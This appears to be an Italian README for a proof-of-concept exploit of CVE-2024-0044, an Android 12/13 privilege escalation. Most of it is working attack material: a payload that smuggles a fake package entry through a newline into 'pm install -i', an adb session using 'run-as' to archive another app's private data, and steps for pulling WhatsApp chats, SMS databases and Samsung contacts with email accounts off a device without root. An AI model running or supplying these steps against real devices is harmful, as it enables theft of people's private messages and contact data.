
CVE-2024-0044: una vulnerabilità ad alta gravità "run-as any app" che colpisce le versioni Android 12 e 13
CVE-2024-0044, identificata nella funzione createSessionInternal del file PackageInstallerService.java, è una vulnerabilità ad alta severità che colpisce Android versioni 12 e 13. Questa vulnerabilità consente a un attaccante di eseguire un attacco "run-as any app", portando a un'escalation locale dei privilegi senza richiedere interazione da parte dell'utente. Il problema deriva da una validazione impropria degli input nella funzione createSessionInternal. Un attaccante può sfruttare questa vulnerabilità manipolando il processo di creazione delle sessioni, ottenendo potenzialmente accesso non autorizzato a dati sensibili e compiendo azioni non autorizzate sul dispositivo interessato.
L'exploit è stato scoperto da Meta security
Il proof of concept è stato riassunto e condiviso da Tiny hack
I dettagli sulla patch di sicurezza possono essere trovati nel bollettino di sicurezza Android
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P viene usato per specificare il nome del pacchetto target di cui si vuole assumere l'identità
-A per specificare il file apk da trasferire sul dispositivo
Eseguire lo strumento
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Verrà generato un file payload.txt come questo:
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success dopo l'ultimo comandopl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Creare una directory temporanea: mkdir /data/local/tmp/wa/
Creare un segnaposto per un file tar: touch /data/local/tmp/wa/wa.tar
Impostare permessi aperti a tutti: chmod -R 0777 /data/local/tmp/wa/ per garantire che qualsiasi utente possa leggere, scrivere ed eseguire in questa directory.
Cambiare contesto utente: run-as victim per ottenere gli stessi permessi dell'utente "victim".
Archiviare i dati dell'applicazione target: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, creando un tarball della directory dati di WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
È possibile estrarre i dati utilizzando 7z o qualsiasi altro strumento
È possibile utilizzare Whatsapp chat exporter per convertirli in HTML
Questo consente di ottenere i dati di WhatsApp senza necessità di accesso root sul dispositivo
Basta cambiare il nome del pacchetto come segue:
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Seguire le istruzioni sopra e, dopo aver recuperato il file wa.tar, estrarre e aprire le conversazioni in com.google.android.apps.messaging/databases/bugle_db utilizzando sqlitebrowser o qualsiasi altro strumento
Testato su dispositivi Samsung. Per altri dispositivi, controllare il nome del pacchetto del provider dei contatti.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Seguire le istruzioni sopra e, dopo aver recuperato il file wa.tar, estrarlo e aprire i contatti in com.samsung.android.providers.contacts/databases/contacts2.db utilizzando sqlitebrowser o qualsiasi altro strumento. Il file db contiene tutte le informazioni degli account email degli utenti insieme all'elenco dei contatti